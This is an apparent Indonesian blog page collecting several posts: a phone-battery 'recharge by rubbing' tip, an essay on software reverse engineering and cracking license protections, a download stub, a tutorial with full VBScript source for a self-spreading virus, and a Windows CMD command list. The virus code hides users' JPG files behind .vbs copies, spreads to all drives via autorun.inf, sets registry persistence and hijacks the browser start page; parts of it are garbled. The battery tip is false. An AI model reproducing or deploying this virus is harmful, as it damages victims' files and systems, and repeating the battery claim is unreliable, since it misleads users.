Cara Mengisi Baterai HP Tanpa Mengunakan Charger

Sungguh menjengkelkan jika tiba-tiba saja baterai ponsel kita mati disaat kita ingin menggunakannya untuk memberi kabar penting. Sedangkan charger lupa dibawa.

Ada cara mudah mengisi ulang baterai tanpa harus dicas. Meskipun tidak bertahan lama seperti di cas, namun minimla kita bisa menelpon untuk sekedar memberikan kabar penting.

Caranya dengan mengeluarkan baterai ponsel dari tempat kemudian digosok-gosokkan dengan tangan atau ke baju atau celana selama 3-5 menit.


Setelah sedikit panas, masukkan baterai ke dalam ponsel dan lakukan panggilan telepon penting tersebut segera karena daya tahan baterai tersebut biasanya hanya bertahan dua menit.Sekedar informasi, pada prinsipnya, bila baterai berada di tempat yang dingin maka akan semakin cepat kapasitas baterai akan berkurang.

Apabila anda melakukan hal ini dalam kondisi baterai yang agak dingin, waktu pakai baterai biasanya akan lebih lama.
READMORE
 

REVERSE ENGINERING PERANGKAT LUNAK

Assalamualaikum wr.wb

Pada kesempatan kali ini saya akan sedikit membahas tentang REVERSE ENGINERING dalam bahasa program atau perangkat lunak lebih tepatnya. Oke langsung saja, REVERSE ENGINERING sendiri dapat di devinisikan sebagai proses untuk menemukan prinsip-prinsip teknologi perangkat, objek, atau sistem melalui analisis struktur, fungsi, dan operasi. REVERSE ENGINERING sering melibatkan atau mengambil sesuatu (misalnya, perangkat mekanik, komponen elektronik, program perangkat lunak, atau biologis, kimia, atau bahan organik) terpisah dan menganalisis sistem kerjanya secara rinci untuk digunakan dalam perawatan, atau mencoba untuk membuat perangkat baru atau program yang melakukan hal yang sama tanpa menggunakan atau hanya duplikasi (tanpa pemahaman) yang asli. Ini hanya devinisi secara singkat, lebih jelasnya baca di Wikipedia.

REVERSE ENGINERING dalam perangkat lunak sendiri sangat erat hubungannya dengan virus dan juga cracking program, proses bagaimana kita bisa mengetahui algoritma program (atau source codenya jika mungkin). Ada banyak hal yang bisa dilakukan dengan reverse engineering. Dalam kasus virus, kita bisa menganalisis virus dan membuat anti yang tepat. Ada banyak hal yang bisa dilakukan dengan reverse engineering. Dalam kasus virus, kita bisa menganalisis virus dan membuat anti yang tepat. Dalam kasus proteksi program, kita akan bisa membongkar proteksi seperti serial number dan expiration date. Dalam kasus kehilangan source code, kita bisa mengembalikan sebagian kode yang hilang. Jika kita ingin membuat program yang bisa membaca format program lain, kita juga perlu mereverse engineer jika format tersebut tidak dibuka secara umum.

Mengenai program/tools untuk reverse engineering, ada banyak yang bisa digunakan. Saya akan memberikan beberapa petunjuk: IDA Pro dan OllyDbg. ua tools tersebut hanyalah beberapa dari banyak tools yang bisa digunakan. Jangan berfokus pada tool berfokuslah pada skill. Kebanyakan orang menanyakan apa program yang perlu dikuasai untuk melakukan X dan berfokus pada program X tersebut. Ada program yang dapat digunakan untuk membongkar program dalam bahasa tertentu. Contoh: program java yang tidak di-obfuscate bisa dibongkar dengan jad dengan mudah. Program serupa juga tersedia untuk .NET, dan aneka bahasa lain yang menggunakan bytecode. Namun program Java bisa diproteksi dengan obfuscator, jadi tidak semua semudah itu. Untuk menemukan aneka tools reverse engineering, gunakanlah Google dan telusuri aneka link di Wikipedia. Bahasa Inggris wajib Anda kuasai untuk membaca aneka tutorial yang ada di Internet.

Kerumitan sebuah program biasanya adalah karena programmer menggunakan berbagai macam cara untuk melindungi programnya. Misalnya dalam kasus program yang memiliki batas waktu N hari. Program pasti harus menyimpan fakta bahwa program pernah diinstall pada tanggal tertentu. Jika Anda seorang programmer yang membuat program di Windows, maka Anda akan segera terpikir di beberapa tempat, misalnya di Registry Windows, di direktori program itu sendiri, di direktori sistem Windows, dan di berbagai tempat lain (misalnya di Serial Number sementara). Tidak ada satu tempat pasti yang digunakan. Ini sama saja dengan menanyakan di mana seseorang menaruh dokumen pentingnya, setiap orang akan memiliki tempatnya sendiri (mungkin sebagian besar menaruhnya di lemari atau di brankas besi di rumahnya, tapi ada juga yang menyimpannya di bank). Masalahnya juga akan berbeda di tiap OS, di Linux tidak ada registry, sedangkan di Symbian ada direktori tertentu yang hanya bisa diakses oleh program tertentu dan lebih mudah digunakan untuk menyimpan informasi tersebut (yang tidak bisa diakses kecuali dengan exploit tertentu, misalnya AppTRK.

Sulit mencari analogi yang tepat untuk reverse engineering. Reverse engineering itu seperti arkeolog yang berusaha mendekripsi tulisan-tulisan kuno. Anda perlu bisa membuka situs kuno, dan mencari tulisan yang mungkin tersembunyi. Anda juga harus mengenal aneka macam tulisan kuno di dunia ini sebagai dasar untuk membaca tulisan yang Anda temui. Anda perlu tahu kebudayaan kuno untuk mengetahui jalan pikiran mereka.
Pikirkan juga baik-baik: apa sih gunanya hacking atau reverse engineering? pikirkan apakah Anda memang berbakat di bidang itu, pikirkan juga apakah itu yang Anda inginkan di masa depan Anda. Pikirkan juga masalah moral hacking dan reverse engineering. Pikirkan misalnya apakah pacar Anda akan memutuskan Anda kalau dulu tahu bahwa pada masa PDKT Anda sering mengakses emailnya tanpa sepengetahuannya.

Sekian, wassalam..
READMORE
 

Facebook Emoticon 1.0


Buat teks emoticon di Inbox Facebook Download
READMORE
 

Cara Membuat Virus Menggunakan Visual Basic (VB)

Cara Membuat Virus Dengan Visual Basic
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain ya :)
READMORE
 

Kumpulan Perintah CMD




Berikut daftar perintah pada cmd:
ADDUSERS – Memasukkan/ menambah user ke/dari file CSV.
ARP – Address Resolution Protocol
ASSOC Change – file extension associations
ASSOCIAT – One step file association
AT Schedule – Perintah untuk membuat shedule program (utk dijalankan kemudian waktu)
ATTRIB – Mengganti atribut file
BOOTCFG – Edit boot setting windows
BROWSTAT – Mencari info domain,browser dan PDC
CACLS – Mengganti/mengubah file permissions
CALL – Memanggil sebuah program batch
CD – Memindahkan ke sebuah folder tertentu.
CHANGE – Mengubah Properties pada Terminal Server
CHKDSK – Memeriksa dan memperbaiki file system
CHKNTFS – Memeriksa NTFS file system
CHOICE – Menerima input keyboard ke dalam sebuah batch file
CIPHER – Encrypt-Decrypt files/folders
CleanMgr – Membersihkan secara otomatis Temporary files, recycle bin
CLEARMEM – Membersihkan memory
CLIP – meng-Copy STDIN ke Windows clipboard.
CLS – Membersihkan layar CMD
CLUSTER – Windows Clustering
CMD – Membuka layar CMD/ command prompt
COLOR – Mengganti warna pada window CMD
COMP – Membandingkan isi dari 2 atau lebih file
COMPACT – kompres file/folder di dalam partisi NTFS
COMPRESS – kompres file individu di dalam partisi NTFS
CON2PRT – Connect atau disconnect sebuah Printer
CONVERT – Convert FAT drive menjadi NTFS.
COPY – Copy 1 atau lebih file ke lokasi tertentu
CSVDE – Import/Export Active Directory data
DATE – Menampilkan/mengatur tanggal
Dcomcnfg – DCOM Configuration Utility
DEFRAG – Defragment hard drive
DEL – Menghapus 1 atau lebih file
DELPROF – Menghapus User Profile NT
DELTREE – Menghapus sebuah folder beserta subfolder
DevCon – Device Manager Command Line Utility
DIR – Menampilkan daftar file/folder dari sebuah drive
DIRUSE – Menampilkan disk usage/kapasitas disk
DISKCOMP – Membandingkan isi dari 2 buah floppy disk
DISKCOPY – Copy isi dari sebuah floppy disk ke floppy disk lainnya
DNSSTAT – DNS Statistics
DOSKEY – Mengedit command line,recall commands,dan create macros
DSADD – Menambah user (computer, group..) ke dalam active directory
DSQUERY – Menambah item ke dalam active directory
DSMOD – Modify user (computer, group..) di dalam active directory
ECHO – Menampilkan message pada monitor
ERASE – Menghapus satu atau lebih file
EXIT – keluar dari window CMD
EXPAND – Uncompress file
EXTRACT – Uncompress CAB files
FC – Membandingkan 2 buah file
FDISK – Disk Format dan partition
FIND – Mencari sebuah text string di dalam sebuah file
FINDSTR – Mencari strings di dalam files
FOR /F -Loop command: untuk beberapa files sekaligus
FOR – Loop command: all options Files, Directory, List
FORFILES – Batch process multiple files
FORMAT – Memformat sebuah disk
FREEDISK – Menampilkan free disk space (dalam bytes)
FSUTIL – File and Volume utilities
FTP – File Transfer Protocol
FTYPE – Menampilkan/mengubah file types yg digunakan dalam file extension
GLOBAL – Menampilkan daftar anggota dalam global groups
GOTO – Mengarahkan sebuah program batch untuk melompat ke labelled line
HELP – Online Help
HFNETCHK – Network Security Hotfix Checker
IF – Conditionally perform a command (perintah bersyarat)
IPCONFIG – Configure IP
KILL – Menghapus program dari memory
LABEL – Memberi/mengubah label disk
LOCAL – Menampilkan daftar anggota local groups
LOGEVENT – Menulis text ke dalam NT event viewer.
LOGOFF – Keluar dari system / Mengeluarkan user dari system
LOGTIME – mencatat tanggal dan waktu dalam sebuah file
MAPISEND – Mengirim e-mail dari command line
MEM – Menampilkan memory usage
MD – Create new folders
MODE – Configure a system device
MOUNTVOL – Mengatur Mount point dalam sebuah volume.
MOVE – Memindahkan file dari sebuah folder ke folder lain
MOVEUSER – Menindahkan user dari sebuah domain ke domain lain
MSG – Mengirim message
MSIEXEC – Microsoft Windows Installer
MSINFO – Windows NT diagnostics
MSTSC – Terminal Server Connection (Remote Desktop Protocol)
MUNGE – Mencari dan Menganti text di dalam sebuah file (find & replace)
MV – Meng-copy file yang sedang/sementara digunakan
NET – Mengatur network resources
NETDOM – Domain Manager
NETSH – Configure network protocols
NETSVC – Command-line Service Controller
NBTSTAT – Menampilkan networking statistics (NetBIOS over TCP/IP)
NETSTAT – Menampilkan networking statistics (TCP/IP)
NOW – Menampilkan current Date and Time
NSLOOKUP – Name server lookup
NTBACKUP – Backup folders
NTRIGHTS – Edit user account rights (wilayah akses yg diizinkan oleh admin)
PATH – Menampilkan atau mengatur search path untuk executable files
PATHPING – Melacak route plus network latency dan packet loss
PAUSE – Menahan proses sebuah batch file and menampilkan message
PERMS – Menampilkan permissions (wilayah akses) user
PERFMON – Performance Monitor
PING – Menguji (test) network connection
POPD – Restore previous value dari sebuah directory yang di-save oleh PUSHD
PORTQRY – Menampilkan status ports dan service
PRINT – Print text file
PRNCNFG – Menampilkan, mengatur, atau mengubah nama printer
PRNMNGR – Menampilkan, menghapus, atau menambah daftar printer; set default printer
PROMPT – Mengubah command prompt
PsExec – Menjalankan proses jarak jauh (remote)
PsFile – Menunjukkan file2 yang dibuka dari jarak jauh
PsGetSid – Menampilkan SID sebuah computer atau user
PsInfo – Menampilkan informasi dari sebuah system
PsKill – Menghentikan proses melalui process ID
PsList – Menampilkan detail informasi dari sebuah proses
PsLoggedOn – Who’s logged on (mengecek secara lokal atau melalui resource sharing)
PsLogList – Event log records
PsPasswd – Mengubah account password
PsService – Menampilkan dan mengubah services
PsShutdown – Shutdown atau reboot computer
PsSuspend – Suspend/menahan proces
PUSHD – Menyimpan/Save dan mengganti current directory
QGREP – Mencari kata/kalimat di dalam file yg sesuai dgn pola/line yg ditentukan.
RASDIAL – Mengatur RAS connections
RASPHONE – Mengatur RAS connections
RECOVER – Memulihkan/Recover damaged file dari sebuah disk defective (rusak).
REG – Membaca, mengatur, atau menghapus registry keys dan values
REGEDIT – Mengimport/mengeksport registry settings
REGSVR32 – Register/unregister file DLL atau ocx
REGINI – Mengubah Registry Permissions
REM – Merekam/mencatat comments (remarks) di dalam sebuah batch file
REN – mengubah nama file
REPLACE – Mengganti/Replace atau meng-update sebuah file dengan file line
RD – Delete folder
RDISK – Create Recovery Disk
RMTSHARE – Share folder atau printer
ROUTE – Memanipulasi network routing tables
RUNAS – Menjalankan sebuah program dgn menggunakan user account lain.
RUNDLL32 – Menjalankan sebuah DLL command (add/remove print connections)
SC – Service Control
SCHTASKS – Create or Edit Scheduled Tasks
SCLIST – Display NT Services
ScriptIt – Control GUI applications
SET – Display, set, atau remove environment variables
SETX – Set environment variables secara permanent
SHARE – Mendaftar atau edit sebuah file share atau print share
SHORTCUT – Create windows shortcut (.LNK file)
SHOWGRPS – Menampilkan daftar NT Workgroups atau user yang telah joined
SHOWMBRS – Menampilkan daftar Users yg merupakan member dari sebuah Workgroup
SHUTDOWN – Shutdown computer
SLEEP – Menunggu selama beberapa saat
SOON – Menjadwal(schedule) sebuah command untuk beberapa waktu kemudian
SORT – Sort input
START – membuka sebuah window baru, untuk menjalankan program atau command tertentu
SU – Switch User
SUBINACL – Edit file & folder Permissions, Ownership serta Domain
SUBST – Menyesuaikan sebuah path dengan drive letter
SYSTEMINFO – Menampilkan daftar system configuration
TASKLIST – Menampilkan daftar aplikasi dan service yang sedang berjalan
TIME – Menampilkan atau mengubah waktu pada system
TIMEOUT – Delay processing sebuah batch file
TITLE – Menentukan judul window untuk sebuah session CMD.EXE
TOUCH – mengubah timestamps sebuah file
TRACERT – Melacak route ke sebuah remote host
TREE – Tampilan grafis dari struktur folder
TYPE – Menampilkan isi dari sebuah text file
USRSTAT – Menampilkan daftar domain usernames dan last login
VER – Menampilkan version information
VERIFY – Memeriksa apakah files telah ter-save
VOL – Menampilkan disk label
WHERE – Mencari dan menampilkan files di dalam sebuah directory tree.
READMORE